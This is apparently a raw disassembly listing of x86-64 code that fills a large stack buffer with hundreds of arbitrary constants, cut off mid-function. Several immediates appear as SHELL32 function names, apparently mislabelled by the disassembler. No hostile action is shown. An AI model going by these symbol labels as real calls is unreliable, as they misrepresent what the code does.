mov dword [rsp + 0x5188], 0x7f14
mov eax, 0x10a
mov word [rsp + 0x14f8], ax
mov byte [rsp + 0x242], ILIsParent
mov byte [rsp + 0x243], 0x59
mov dword [rsp + 0x518c], 0xc4db
mov dword [rsp + 0x5190], 0x544d
mov byte [rsp + 0x244], 0x49
mov eax, 0x62
mov word [rsp + 0x14fc], ax
mov byte [rsp + 0x245], 0x88
mov eax, 0x8f5
mov word [rsp + 0x1500], ax
movabs rax, 0x72f4e298870b19
mov qword [rsp + 0xa2f0], rax
mov eax, 0x227
mov word [rsp + 0x1504], ax
movabs rax, 0x7ea08811f4b18a
mov qword [rsp + 0xa2f8], rax
movabs rax, 0x714a4730a4a912
mov qword [rsp + 0xa300], rax
movabs rax, 0x76896fd4fa89bc
mov qword [rsp + 0xa308], rax
mov dword [rsp + 0x5194], 0x36e1
mov byte [rsp + 0x246], 0x60
mov dword [rsp + 0x5198], 0x62d0
mov byte [rsp + 0x247], 0x7e
mov eax, 0x2b5
mov word [rsp + 0x1508], ax
movabs rax, 0x78168b9d19d9b7
mov qword [rsp + 0xa310], rax
mov dword [rsp + 0x519c], 0x3776
mov eax, 0x23
mov word [rsp + 0x150c], ax
mov eax, 0x539
mov word [rsp + 0x1510], ax
mov dword [rsp + 0x51a0], 0x5832
movabs rax, 0x71dfada1037781
mov qword [rsp + 0xa318], rax
mov byte [rsp + 0x248], reloc.SHELL32.dll_ILIsParent
mov dword [rsp + 0x51a4], 0xa520
movabs rax, 0x7ca872c74862b1
mov qword [rsp + 0xa320], rax
movabs rax, 0x785a1a4c070b46
mov qword [rsp + 0xa328], rax
mov eax, 0x387
mov word [rsp + 0x1514], ax
mov dword [rsp + 0x51a8], 0x6c92
mov eax, 0x2b3
mov word [rsp + 0x1518], ax
mov byte [rsp + 0x249], ILRemoveLastID
movabs rax, 0x759fe72114c979
mov qword [rsp + 0xa330], rax
movabs rax, 0x78ec99aea7dd00
mov qword [rsp + 0xa338], rax
movabs rax, 0x721b1a827758f2
mov qword [rsp + 0xa340], rax
movabs rax, 0x7a693077c988cd
mov qword [rsp + 0xa348], rax
mov byte [rsp + 0x24a], 0x72
movabs rax, 0x779d7d8e2318a7
mov qword [rsp + 0xa350], rax
mov byte [rsp + 0x24b], reloc.SHELL32.dll_SHDoDragDrop
mov eax, 0x1fe
mov word [rsp + 0x151c], ax
mov dword [rsp + 0x51ac], 0x6ce7
mov dword [rsp + 0x51b0], 0x4ac8
mov byte [rsp + 0x24c], 0x23
mov dword [rsp + 0x51b4], 0xf4ba
mov dword [rsp + 0x51b8], 0x2fcc
mov byte [rsp + 0x24d], 0x92
mov byte [rsp + 0x24e], 0x40
mov byte [rsp + 0x24f], 0x5c
mov dword [rsp + 0x51bc], 0xc1e6
movabs rax, 0x73f4c166dcbe85
mov qword [rsp + 0xa358], rax
mov eax, 0x67a
mov word [rsp + 0x1520], ax
mov eax, 0xea9
mov word [rsp + 0x1524], ax
mov dword [rsp + 0x51c0], 0x376
mov dword [rsp + 0x51c4], 0x2d59
mov eax, 0x5f3
mov word [rsp + 0x1528], ax
mov byte [rsp + 0x250], ILCreateFromPathW
mov eax, 0x41b
mov word [rsp + 0x152c], ax
mov eax, 0x4a6
mov word [rsp + 0x1530], ax
mov byte [rsp + 0x251], 0x7c
movabs rax, 0x731330d5a8479c
mov qword [rsp + 0xa360], rax
mov eax, 0x75b
mov word [rsp + 0x1534], ax
mov dword [rsp + 0x51c8], 0x7c16
mov byte [rsp + 0x252], SHTestTokenMembership
mov dword [rsp + 0x51cc], 0x3494
mov dword [rsp + 0x51d0], 0x177f
mov byte [rsp + 0x253], 0x5f
mov byte [rsp + 0x254], 0x31
mov dword [rsp + 0x51d4], 0xf88
mov eax, 0xda
mov word [rsp + 0x1538], ax
mov dword [rsp + 0x51d8], 0xdc3b
mov dword [rsp + 0x51dc], 0xc8dc
movabs rax, 0x7aa2106d72479d
mov qword [rsp + 0xa368], rax
mov eax, 0x3c9
mov word [rsp + 0x153c], ax
mov eax, 0x65a
mov word [rsp + 0x1540], ax
mov eax, 0x31f
mov word [rsp + 0x1544], ax
mov eax, 0x9f7
mov word [rsp + 0x1548], ax
mov dword [rsp + 0x51e0], 0x49a8
mov byte [rsp + 0x255], 0x45
mov dword [rsp + 0x51e4], 0x5347
movabs rax, 0x7aaedcf787ea76
mov qword [rsp + 0xa370], rax
mov eax, 0x441
mov word [rsp + 0x154c], ax
mov eax, 0xbe5
mov word [rsp + 0x1550], ax
mov byte [rsp + 0x256], SHSetInstanceExplorer
mov dword [rsp + 0x51e8], 0xcfe4
movabs rax, 0x7da41054d46b81
mov qword [rsp + 0xa378], rax
movabs rax, 0x71215a7ead15dc
mov qword [rsp + 0xa380], rax
mov eax, 0x7a
mov word [rsp + 0x1554], ax
movabs rax, 0x77d397563d5925
mov qword [rsp + 0xa388], rax
mov dword [rsp + 0x51ec], 0x9337
mov dword [rsp + 0x51f0], 0x6920
movabs rax, 0x7c0b5181a34786
mov qword [rsp + 0xa390], rax
movabs rax, 0x725916770a357f
mov qword [rsp + 0xa398], rax
mov eax, 0xaf1
mov word [rsp + 0x1558], ax
mov byte [rsp + 0x257], SHDoDragDrop
mov dword [rsp + 0x51f4], 0xd42c
mov eax, 0x292
mov word [rsp + 0x155c], ax
mov byte [rsp + 0x258], reloc.SHELL32.dll_ILRemoveLastID
mov eax, 0x11c
mov word [rsp + 0x1560], ax
movabs rax, 0x793eb551b6dda1
mov qword [rsp + 0xa3a0], rax
mov eax, 0xbf
mov word [rsp + 0x1564], ax
mov byte [rsp + 0x259], 0x85
mov dword [rsp + 0x51f8], 0x385c
movabs rax, 0x7d35d33f51dbf0
mov qword [rsp + 0xa3a8], rax
movabs rax, 0x77e230e7b38a42
mov qword [rsp + 0xa3b0], rax
mov eax, 0x40b
mov word [rsp + 0x1568], ax
mov dword [rsp + 0x51fc], 0x205f
movabs rax, 0x741de7bf31cac1
mov qword [rsp + 0xa3b8], rax
mov dword [rsp + 0x5200], 0xe6eb
movabs rax, 0x7570f4bd940b3a
mov qword [rsp + 0xa3c0], rax
mov dword [rsp + 0x5204], 0x7c8b
mov dword [rsp + 0x5208], 0xe716
mov eax, 0x540
mov word [rsp + 0x156c], ax
mov eax, 0x68a
mov word [rsp + 0x1570], ax
mov dword [rsp + 0x520c], 0x5950
mov dword [rsp + 0x5210], 0x4494
mov dword [rsp + 0x5214], 0x9723
mov dword [rsp + 0x5218], 0x2191
mov eax, 0x11f
mov word [rsp + 0x1574], ax
mov eax, 0x30d
mov word [rsp + 0x1578], ax
mov byte [rsp + 0x25a], 0xd0
mov dword [rsp + 0x521c], 0x8c8f
mov dword [rsp + 0x5220], 0x1de8
movabs rax, 0x7857407f941c85
mov qword [rsp + 0xa3c8], rax
movabs rax, 0x771ffbf68104df
mov qword [rsp + 0xa3d0], rax
mov eax, 0x9d2
mov word [rsp + 0x157c], ax
movabs rax, 0x74f21fd4743341
mov qword [rsp + 0xa3d8], rax
mov dword [rsp + 0x5224], 0xc05c
mov dword [rsp + 0x5228], 0x657c
movabs rax, 0x70051b9e4f701c
mov qword [rsp + 0xa3e0], rax
mov dword [rsp + 0x522c], 0x435
mov dword [rsp + 0x5230], 0xf457
movabs rax, 0x7cf7f3d9dc3aff
mov qword [rsp + 0xa3e8], rax
mov byte [rsp + 0x25b], 0
movabs rax, 0x759f3e84fc2ee5
mov qword [rsp + 0xa3f0], rax
mov byte [rsp + 0x25c], 0x67
mov byte [rsp + 0x25d], 0xa5
mov byte [rsp + 0x25e], 0x1d
mov byte [rsp + 0x25f], 0x31
mov byte [rsp + 0x260], 0x23
mov dword [rsp + 0x5234], 0x40d9
mov eax, 0xdbb
mov word [rsp + 0x1580], ax
mov byte [rsp + 0x261], 0x1e
mov dword [rsp + 0x5238], 0x6aa2
mov eax, 0x4dc
mov word [rsp + 0x1584], ax
movabs rax, 0x7ace3de2b1dd6e
mov qword [rsp + 0xa3f8], rax
mov byte [rsp + 0x262], SHTestTokenMembership
mov byte [rsp + 0x263], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x78705f90129b80
mov qword [rsp + 0xa400], rax
mov dword [rsp + 0x523c], 0x16a5
movabs rax, 0x738721386c9374
mov qword [rsp + 0xa408], rax
movabs rax, 0x72ea30d6fea70e
mov qword [rsp + 0xa410], rax
mov eax, 0x678
mov word [rsp + 0x1588], ax
movabs rax, 0x7888d8e921918f
mov qword [rsp + 0xa418], rax
mov eax, 0x6d4
mov word [rsp + 0x158c], ax
mov dword [rsp + 0x5240], 0x59f2
mov dword [rsp + 0x5244], 0x7d07
mov eax, 0xbd5
mov word [rsp + 0x1590], ax
movabs rax, 0x7c707cddab4b2c
mov qword [rsp + 0xa420], rax
mov eax, 0xb0c
mov word [rsp + 0x1594], ax
mov eax, 0x735
mov word [rsp + 0x1598], ax
mov eax, 0x6a6
mov word [rsp + 0x159c], ax
movabs rax, 0x71bc79ee10f432
mov qword [rsp + 0xa428], rax
movabs rax, 0x7498fb9ea82c45
mov qword [rsp + 0xa430], rax
mov byte [rsp + 0x264], PathMakeUniqueName
movabs rax, 0x7b22dcc711986f
mov qword [rsp + 0xa438], rax
mov dword [rsp + 0x5248], 0xe105
movabs rax, 0x75bbf98cd5bd47
mov qword [rsp + 0xa440], rax
mov byte [rsp + 0x265], 0x44
mov byte [rsp + 0x266], SHSetInstanceExplorer
mov dword [rsp + 0x524c], 0x360a
mov eax, 0x1f2
mov word [rsp + 0x15a0], ax
mov eax, 0xbbc
mov word [rsp + 0x15a4], ax
movabs rax, 0x7807e8c9017adc
mov qword [rsp + 0xa448], rax
mov eax, 0x84b
mov word [rsp + 0x15a8], ax
movabs rax, 0x7ddf80ee576496
mov qword [rsp + 0xa450], rax
mov eax, 0x57e
mov word [rsp + 0x15ac], ax
mov eax, 0x3aa
mov word [rsp + 0x15b0], ax
mov eax, 0x361
mov word [rsp + 0x15b4], ax
movabs rax, 0x7d28ef741f10f9
mov qword [rsp + 0xa458], rax
mov eax, 0x871
mov word [rsp + 0x15b8], ax
mov eax, 0x4fe
mov word [rsp + 0x15bc], ax
mov dword [rsp + 0x5250], 0xb38
mov eax, 0x6c0
mov word [rsp + 0x15c0], ax
mov eax, 0x6ae
mov word [rsp + 0x15c4], ax
movabs rax, 0x760169c93903ba
mov qword [rsp + 0xa460], rax
mov dword [rsp + 0x5254], 0xda59
movabs rax, 0x708b0eb828883b
mov qword [rsp + 0xa468], rax
mov eax, 0x4b0
mov word [rsp + 0x15c8], ax
movabs rax, 0x7d0e199322f4b1
mov qword [rsp + 0xa470], rax
mov dword [rsp + 0x5258], 0x9ce5
mov dword [rsp + 0x525c], 0x362a
mov byte [rsp + 0x267], SHDoDragDrop
movabs rax, 0x70b5ebc24aecb0
mov qword [rsp + 0xa478], rax
mov dword [rsp + 0x5260], 0x32c4
movabs rax, 0x754f3d9deae80b
mov qword [rsp + 0xa480], rax
mov eax, 0x1d3
mov word [rsp + 0x15cc], ax
mov dword [rsp + 0x5264], 0x249
mov dword [rsp + 0x5268], 0x2e37
mov eax, 0x718
mov word [rsp + 0x15d0], ax
mov eax, 0x88
mov word [rsp + 0x15d4], ax
mov dword [rsp + 0x526c], 0xdff4
mov eax, 0x88f
mov word [rsp + 0x15d8], ax
mov eax, 0x5f5
mov word [rsp + 0x15dc], ax
mov eax, 0xa9a
mov word [rsp + 0x15e0], ax
mov eax, 0xd88
mov word [rsp + 0x15e4], ax
mov byte [rsp + 0x268], 0x71
mov byte [rsp + 0x269], 0xc8
movabs rax, 0x757c1304039c84
mov qword [rsp + 0xa488], rax
mov eax, 0x125
mov word [rsp + 0x15e8], ax
movabs rax, 0x79033ebdf1c8a1
mov qword [rsp + 0xa490], rax
mov byte [rsp + 0x26a], 0xe8
mov eax, 0x248
mov word [rsp + 0x15ec], ax
movabs rax, 0x773e9a251c17d8
mov qword [rsp + 0xa498], rax
mov dword [rsp + 0x5270], 0xd938
mov eax, 0xf99
mov word [rsp + 0x15f0], ax
mov eax, 0xde8
mov word [rsp + 0x15f4], ax
mov eax, 0x4e4
mov word [rsp + 0x15f8], ax
mov eax, 0x2f3
mov word [rsp + 0x15fc], ax
movabs rax, 0x758f096261e891
mov qword [rsp + 0xa4a0], rax
movabs rax, 0x744156c90cb5d6
mov qword [rsp + 0xa4a8], rax
mov eax, 0xfc7
mov word [rsp + 0x1600], ax
mov byte [rsp + 0x26b], 0xe2
mov byte [rsp + 0x26c], ILIsParent
mov byte [rsp + 0x26d], 6
mov dword [rsp + 0x5274], 0x5f5e
movabs rax, 0x7dc675b44046b6
mov qword [rsp + 0xa4b0], rax
mov dword [rsp + 0x5278], 0xd87
movabs rax, 0x78549fd64c5290
mov qword [rsp + 0xa4b8], rax
movabs rax, 0x7c48e56e9c33cc
mov qword [rsp + 0xa4c0], rax
mov eax, 0x231
mov word [rsp + 0x1604], ax
mov eax, 0xab7
mov word [rsp + 0x1608], ax
mov byte [rsp + 0x26e], 0x6f
mov byte [rsp + 0x26f], 0x34
movabs rax, 0x760da988eecbc6
mov qword [rsp + 0xa4c8], rax
mov eax, 0x5bf
mov word [rsp + 0x160c], ax
movabs rax, 0x7b2f92faa2116a
mov qword [rsp + 0xa4d0], rax
mov eax, 0x402
mov word [rsp + 0x1610], ax
mov byte [rsp + 0x270], 0x65
movabs rax, 0x7072dd4e787cdd
mov qword [rsp + 0xa4d8], rax
mov byte [rsp + 0x271], PathMakeUniqueName
mov eax, 0x229
mov word [rsp + 0x1614], ax
mov eax, 0x75d
mov word [rsp + 0x1618], ax
mov eax, 0x4a
mov word [rsp + 0x161c], ax
mov eax, 0xe0
mov word [rsp + 0x1620], ax
mov byte [rsp + 0x272], 0x76
movabs rax, 0x75550359c44cba
mov qword [rsp + 0xa4e0], rax
mov dword [rsp + 0x527c], 0x8bc
mov dword [rsp + 0x5280], 0x3f47
mov eax, 0x118
mov word [rsp + 0x1624], ax
mov eax, 0x833
mov word [rsp + 0x1628], ax
mov eax, 0x112
mov word [rsp + 0x162c], ax
movabs rax, 0x72630103932fb5
mov qword [rsp + 0xa4e8], rax
mov eax, 0x614
mov word [rsp + 0x1630], ax
mov eax, 0x619
mov word [rsp + 0x1634], ax
mov dword [rsp + 0x5284], 0xc139
mov dword [rsp + 0x5288], 0x15cc
mov byte [rsp + 0x273], 0x6e
mov dword [rsp + 0x528c], 0x6593
mov byte [rsp + 0x274], 8
mov eax, 0x762
mov word [rsp + 0x1638], ax
mov dword [rsp + 0x5290], 0x415b
mov byte [rsp + 0x275], PathMakeUniqueName
mov dword [rsp + 0x5294], 0x3937
mov byte [rsp + 0x276], 0x8f
mov eax, 0x1c1
mov word [rsp + 0x163c], ax
mov eax, 0xa5
mov word [rsp + 0x1640], ax
mov eax, 0x231
mov word [rsp + 0x1644], ax
movabs rax, 0x71533cb5c440b0
mov qword [rsp + 0xa4f0], rax
mov eax, 0x76f
mov word [rsp + 0x1648], ax
mov dword [rsp + 0x5298], 0x5621
movabs rax, 0x741c94765db1db
mov qword [rsp + 0xa4f8], rax
mov eax, 0x96b
mov word [rsp + 0x164c], ax
mov eax, 0x6f2
mov word [rsp + 0x1650], ax
mov dword [rsp + 0x529c], 0xd713
mov eax, 0x51
mov word [rsp + 0x1654], ax
mov eax, 0x1da
mov word [rsp + 0x1658], ax
mov dword [rsp + 0x52a0], 0x2c6e
movabs rax, 0x7ad77b33032e27
mov qword [rsp + 0xa500], rax
movabs rax, 0x722c05785af779
mov qword [rsp + 0xa508], rax
movabs rax, 0x7e2476b69977c1
mov qword [rsp + 0xa510], rax
movabs rax, 0x76039a49c4ea40
mov qword [rsp + 0xa518], rax
mov eax, 0x3c0
mov word [rsp + 0x165c], ax
mov eax, 0xc91
mov word [rsp + 0x1660], ax
movabs rax, 0x7dc77e740c5764
mov qword [rsp + 0xa520], rax
mov byte [rsp + 0x277], 0x7e
mov eax, 0x3e0
mov word [rsp + 0x1664], ax
movabs rax, 0x77c804548e35d8
mov qword [rsp + 0xa528], rax
mov eax, 0x4e8
mov word [rsp + 0x1668], ax
mov byte [rsp + 0x278], 0x69
mov byte [rsp + 0x279], ILAppendID
mov dword [rsp + 0x52a4], 0x3b75
mov dword [rsp + 0x52a8], 0x57b7
movabs rax, 0x733b55e4a3d121
mov qword [rsp + 0xa530], rax
mov eax, 0x669
mov word [rsp + 0x166c], ax
movabs rax, 0x72d6bfaf11db89
mov qword [rsp + 0xa538], rax
mov byte [rsp + 0x27a], SHDoDragDrop
mov eax, 0x6a9
mov word [rsp + 0x1670], ax
mov eax, 0x7c
mov word [rsp + 0x1674], ax
mov eax, 0x825
mov word [rsp + 0x1678], ax
mov byte [rsp + 0x27b], reloc.SHELL32.dll_ILIsEqual
mov eax, 0x1c5
mov word [rsp + 0x167c], ax
mov eax, 0x3db
mov word [rsp + 0x1680], ax
mov byte [rsp + 0x27c], 0x5d
movabs rax, 0x702f870a36f2b3
mov qword [rsp + 0xa540], rax
mov eax, 0x39b
mov word [rsp + 0x1684], ax
movabs rax, 0x7af3cdeac1b4c1
mov qword [rsp + 0xa548], rax
mov eax, 0x94e
mov word [rsp + 0x1688], ax
mov byte [rsp + 0x27d], PathMakeUniqueName
movabs rax, 0x76c808538c4508
mov qword [rsp + 0xa550], rax
mov eax, 0x3cb
mov word [rsp + 0x168c], ax
movabs rax, 0x7761e0e8b4258b
mov qword [rsp + 0xa558], rax
mov byte [rsp + 0x27e], PathMakeUniqueName
mov dword [rsp + 0x52ac], 0x26f0
mov eax, 0xbbd
mov word [rsp + 0x1690], ax
movabs rax, 0x71e90a3f9e3a53
mov qword [rsp + 0xa560], rax
mov eax, 0x2ab
mov word [rsp + 0x1694], ax
mov dword [rsp + 0x52b0], 0x89c3
mov dword [rsp + 0x52b4], 0x2516
mov eax, 0x603
mov word [rsp + 0x1698], ax
movabs rax, 0x765a1c1b0adaa5
mov qword [rsp + 0xa568], rax
mov dword [rsp + 0x52b8], 0x64aa
mov dword [rsp + 0x52bc], 0x4362
mov eax, 0x4e4
mov word [rsp + 0x169c], ax
mov byte [rsp + 0x27f], 0x22
movabs rax, 0x73e6584f0ba642
mov qword [rsp + 0xa570], rax
mov dword [rsp + 0x52c0], 0xeda5
movabs rax, 0x785b8f2ba58d8c
mov qword [rsp + 0xa578], rax
movabs rax, 0x706c9804c74183
mov qword [rsp + 0xa580], rax
mov byte [rsp + 0x280], 6
movabs rax, 0x71ac5d35613e4e
mov qword [rsp + 0xa588], rax
mov eax, 0xf7e
mov word [rsp + 0x16a0], ax
mov dword [rsp + 0x52c4], 0x2c79
mov eax, 0x729
mov word [rsp + 0x16a4], ax
movabs rax, 0x7b1d4498957c74
mov qword [rsp + 0xa590], rax
mov byte [rsp + 0x281], ILRemoveLastID
movabs rax, 0x75d07bcfddd092
mov qword [rsp + 0xa598], rax
movabs rax, 0x7440513ef2807d
mov qword [rsp + 0xa5a0], rax
mov byte [rsp + 0x282], 0x59
mov eax, 0xa05
mov word [rsp + 0x16a8], ax
mov byte [rsp + 0x283], 0xed
mov byte [rsp + 0x284], 0x69
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Unlock], 0x69
mov byte [rsp + 0x286], ILRemoveLastID
mov eax, 0x2ab
mov word [rsp + 0x16ac], ax
movabs rax, 0x798dde1153fb8e
mov qword [rsp + 0xa5a8], rax
mov eax, 0x128
mov word [rsp + 0x16b0], ax
movabs rax, 0x761571de413e46
mov qword [rsp + 0xa5b0], rax
mov eax, 0x198
mov word [rsp + 0x16b4], ax
mov byte [rsp + 0x287], 0x6d
movabs rax, 0x75e9f715c3fc23
mov qword [rsp + 0xa5b8], rax
movabs rax, 0x75c468a4fc26b8
mov qword [rsp + 0xa5c0], rax
movabs rax, 0x7a71a6f5a6385e
mov qword [rsp + 0xa5c8], rax
mov dword [rsp + 0x52c8], 0xbefc
mov eax, 0x399
mov word [rsp + 0x16b8], ax
mov dword [rsp + 0x52cc], 0xb503
movabs rax, 0x76137836da0b54
mov qword [rsp + 0xa5d0], rax
movabs rax, 0x7ad428929727d9
mov qword [rsp + 0xa5d8], rax
mov dword [rsp + 0x52d0], 0x2de0
mov byte [rsp + 0x288], SHDoDragDrop
mov dword [rsp + 0x52d4], 0x1599
movabs rax, 0x7eed8d4a7144b4
mov qword [rsp + 0xa5e0], rax
mov eax, 0x9ae
mov word [rsp + 0x16bc], ax
movabs rax, 0x77ca62debea396
mov qword [rsp + 0xa5e8], rax
mov eax, 0xe5
mov word [rsp + 0x16c0], ax
movabs rax, 0x7a2f299aaa4bf3
mov qword [rsp + 0xa5f0], rax
mov byte [rsp + 0x289], 0x69
mov dword [rsp + 0x52d8], 0x707
movabs rax, 0x764e5dae55c95c
mov qword [rsp + 0xa5f8], rax
mov dword [rsp + 0x52dc], 0x6807
mov byte [rsp + 0x28a], 0x7c
movabs rax, 0x77b117ee4ff07f
mov qword [rsp + 0xa600], rax
mov dword [rsp + 0x52e0], 0x1a7e
movabs rax, 0x788816269934a7
mov qword [rsp + 0xa608], rax
movabs rax, 0x7d502452db5b32
mov qword [rsp + 0xa610], rax
mov dword [rsp + 0x52e4], 0x22bf
mov byte [rsp + 0x28b], 0x7e
mov eax, 0x6aa
mov word [rsp + 0x16c4], ax
mov eax, 0x7d7
mov word [rsp + 0x16c8], ax
movabs rax, 0x713c6b00a3ce0d
mov qword [rsp + 0xa618], rax
mov dword [rsp + 0x52e8], 0x94ab
mov dword [rsp + 0x52ec], 0xf1a
mov eax, 0x595
mov word [rsp + 0x16cc], ax
mov dword [rsp + 0x52f0], 0x41a9
mov byte [rsp + 0x28c], reloc.SHELL32.dll_ILFindChild
mov dword [rsp + 0x52f4], 0x24d1
mov dword [rsp + 0x52f8], 0x4c54
mov byte [rsp + 0x28d], 0x8c
movabs rax, 0x7de99a5b8eb97e
mov qword [rsp + 0xa620], rax
mov dword [rsp + 0x52fc], 0x7d3f
movabs rax, 0x76b7309c100ac4
mov qword [rsp + 0xa628], rax
mov dword [rsp + 0x5300], 0xf991
mov dword [rsp + 0x5304], 0x35b2
movabs rax, 0x767cd8a8795b29
mov qword [rsp + 0xa630], rax
mov dword [rsp + 0x5308], 0x3058
movabs rax, 0x7488eee6baac10
mov qword [rsp + 0xa638], rax
movabs rax, 0x73bad7da13309f
mov qword [rsp + 0xa640], rax
mov eax, 0x216
mov word [rsp + 0x16d0], ax
mov eax, 0x59f
mov word [rsp + 0x16d4], ax
mov eax, 0x413
mov word [rsp + 0x16d8], ax
mov dword [rsp + 0x530c], 0x6529
movabs rax, 0x7d028a8d3e9db7
mov qword [rsp + 0xa648], rax
mov byte [rsp + 0x28e], SHDoDragDrop
mov byte [rsp + 0x28f], 3
mov byte [rsp + 0x290], 0xed
mov byte [rsp + 0x291], 0x72
mov eax, 0xe61
mov word [rsp + 0x16dc], ax
mov byte [rsp + 0x292], reloc.SHELL32.dll_ILFindLastID
mov eax, 0x8ab
mov word [rsp + 0x16e0], ax
mov eax, 0x9b1
mov word [rsp + 0x16e4], ax
mov dword [rsp + 0x5310], 0x9d38
mov byte [rsp + 0x293], 0x84
mov dword [rsp + 0x5314], 0x580e
mov eax, 0xc78
mov word [rsp + 0x16e8], ax
mov byte [rsp + 0x294], 0x40
movabs rax, 0x756ab41d3b5445
mov qword [rsp + 0xa650], rax
mov eax, 0x329
mov word [rsp + 0x16ec], ax
movabs rax, 0x79254d6d631314
mov qword [rsp + 0xa658], rax
mov eax, 0xbaa
mov word [rsp + 0x16f0], ax
mov byte [rsp + 0x295], 0xa5
movabs rax, 0x7c9871953a231a
mov qword [rsp + 0xa660], rax
mov dword [rsp + 0x5318], 0x2fa1
movabs rax, 0x7d977a4de8d160
mov qword [rsp + 0xa668], rax
mov eax, 0xeb9
mov word [rsp + 0x16f4], ax
mov dword [rsp + 0x531c], 0x7b5a
mov dword [rsp + 0x5320], 0x578b
mov eax, 0xa6e
mov word [rsp + 0x16f8], ax
mov dword [rsp + 0x5324], 0x8b38
mov byte [rsp + 0x296], 0x45
movabs rax, 0x7e36f0d8a85715
mov qword [rsp + 0xa670], rax
movabs rax, 0x7db079737c0b15
mov qword [rsp + 0xa678], rax
movabs rax, 0x7a4d413431c7ee
mov qword [rsp + 0xa680], rax
movabs rax, 0x79038e9f5dbd47
mov qword [rsp + 0xa688], rax
mov eax, 0x470
mov word [rsp + 0x16fc], ax
mov byte [rsp + 0x297], ILRemoveLastID
movabs rax, 0x76f0ea12c10333
mov qword [rsp + 0xa690], rax
movabs rax, 0x7ba400db37e30e
mov qword [rsp + 0xa698], rax
mov dword [rsp + 0x5328], 0x32fa
mov eax, 0x316
mov word [rsp + 0x1700], ax
movabs rax, 0x7df0e5639cd96f
mov qword [rsp + 0xa6a0], rax
mov dword [rsp + 0x532c], 0xeb5e
mov byte [rsp + 0x298], 0x59
mov eax, 0xaba
mov word [rsp + 0x1704], ax
mov byte [rsp + 0x299], 0xeb
mov byte [rsp + 0x29a], SHSetInstanceExplorer
mov byte [rsp + 0x29b], 0x7c
mov eax, 0xb5e
mov word [rsp + 0x1708], ax
mov dword [rsp + 0x5330], 0xe77a
movabs rax, 0x747ae7e4202f61
mov qword [rsp + 0xa6a8], rax
mov dword [rsp + 0x5334], 0x4040
mov dword [rsp + 0x5338], 0x16fc
mov byte [rsp + 0x29c], 0x8a
mov eax, 0xa3f
mov word [rsp + 0x170c], ax
movabs rax, 0x799cb4f6876f46
mov qword [rsp + 0xa6b0], rax
mov eax, 0xc4
mov word [rsp + 0x1710], ax
mov dword [rsp + 0x533c], 0x1731
mov eax, 0xbf5
mov word [rsp + 0x1714], ax
mov dword [rsp + 0x5340], 0xf23
mov dword [rsp + 0x5344], 0x2089
movabs rax, 0x745d807b9bb702
mov qword [rsp + 0xa6b8], rax
movabs rax, 0x7c9892da939798
mov qword [rsp + 0xa6c0], rax
mov byte [rsp + 0x29d], ILCreateFromPathW
movabs rax, 0x7b3adfb8e15b5d
mov qword [rsp + 0xa6c8], rax
movabs rax, 0x7d830ef63788ff
mov qword [rsp + 0xa6d0], rax
mov dword [rsp + 0x5348], 0x9821
mov eax, 0x9d5
mov word [rsp + 0x1718], ax
mov eax, 0x426
mov word [rsp + 0x171c], ax
mov eax, 0x502
mov word [rsp + 0x1720], ax
mov dword [rsp + 0x534c], 0x5914
movabs rax, 0x7e4f3eab9e7fec
mov qword [rsp + 0xa6d8], rax
mov eax, 0x146
mov word [rsp + 0x1724], ax
mov eax, 0x2ae
mov word [rsp + 0x1728], ax
movabs rax, 0x7bd5cb5b18808e
mov qword [rsp + 0xa6e0], rax
movabs rax, 0x7bf91234aeaf1d
mov qword [rsp + 0xa6e8], rax
mov dword [rsp + 0x5350], 0x554d
mov dword [rsp + 0x5354], 0x4f3e
mov eax, 0x747
mov word [rsp + 0x172c], ax
mov dword [rsp + 0x5358], 0xcb33
mov byte [rsp + 0x29e], 0x60
mov byte [rsp + 0x29f], 0x5e
movabs rax, 0x7ac46d64456f79
mov qword [rsp + 0xa6f0], rax
mov byte [rsp + 0x2a0], SHTestTokenMembership
mov byte [rsp + 0x2a1], 0x5e
mov dword [rsp + 0x535c], 0xa73
mov dword [rsp + 0x5360], 0x19ff
mov byte [rsp + 0x2a2], PathMakeUniqueName
movabs rax, 0x768c9f19a47459
mov qword [rsp + 0xa6f8], rax
mov dword [rsp + 0x5364], 0xeecd
mov dword [rsp + 0x5368], 0x653
mov eax, 0xc8
mov word [rsp + 0x1730], ax
mov dword [rsp + 0x536c], 0x768c
mov byte [rsp + 0x2a3], 0xe6
movabs rax, 0x7b799d0c34f48b
mov qword [rsp + 0xa700], rax
movabs rax, 0x7dcfa31679f783
mov qword [rsp + 0xa708], rax
mov byte [rsp + 0x2a4], 0x7e
movabs rax, 0x73e47138001487
mov qword [rsp + 0xa710], rax
mov eax, 0xbc3
mov word [rsp + 0x1734], ax
movabs rax, 0x71aa4be420ebc8
mov qword [rsp + 0xa718], rax
mov byte [rsp + 0x2a5], 0x32
movabs rax, 0x7b15860775e963
mov qword [rsp + 0xa720], rax
mov eax, 0x120
mov word [rsp + 0x1738], ax
mov byte [rsp + 0x2a6], 0x5e
mov byte [rsp + 0x2a7], 0x43
mov byte [rsp + 0x2a8], 0x37
mov byte [rsp + 0x2a9], 2
mov dword [rsp + 0x5370], 0x1437
mov dword [rsp + 0x5374], 0x2116
mov byte [rsp + 0x2aa], 9
mov dword [rsp + 0x5378], 0x3b23
mov eax, 0x390
mov word [rsp + 0x173c], ax
mov dword [rsp + 0x537c], 0x5aa0
mov dword [rsp + 0x5380], 0xccd5
mov byte [rsp + 0x2ab], SHTestTokenMembership
movabs rax, 0x734b7418e61316
mov qword [rsp + 0xa728], rax
movabs rax, 0x7e8869c6ade81e
mov qword [rsp + 0xa730], rax
mov dword [rsp + 0x5384], 0xe6c
movabs rax, 0x71977cc41a06bd
mov qword [rsp + 0xa738], rax
movabs rax, 0x73b1210ea11810
mov qword [rsp + 0xa740], rax
mov byte [rsp + 0x2ac], 0x37
movabs rax, 0x7c3aa7e80d2e62
mov qword [rsp + 0xa748], rax
mov eax, 0xcb0
mov word [rsp + 0x1740], ax
mov dword [rsp + 0x5388], 0xc4f2
mov eax, 0xf8c
mov word [rsp + 0x1744], ax
mov byte [rsp + 0x2ad], ILIsParent
movabs rax, 0x7484d191f1546f
mov qword [rsp + 0xa750], rax
movabs rax, 0x7a79d3f46f1bd0
mov qword [rsp + 0xa758], rax
mov eax, 0x8b1
mov word [rsp + 0x1748], ax
movabs rax, 0x74feb2b3ea0e6e
mov qword [rsp + 0xa760], rax
mov eax, 0x42c
mov word [rsp + 0x174c], ax
movabs rax, 0x7c1804753b3e09
mov qword [rsp + 0xa768], rax
mov eax, 0x7da
mov word [rsp + 0x1750], ax
mov eax, 0xff
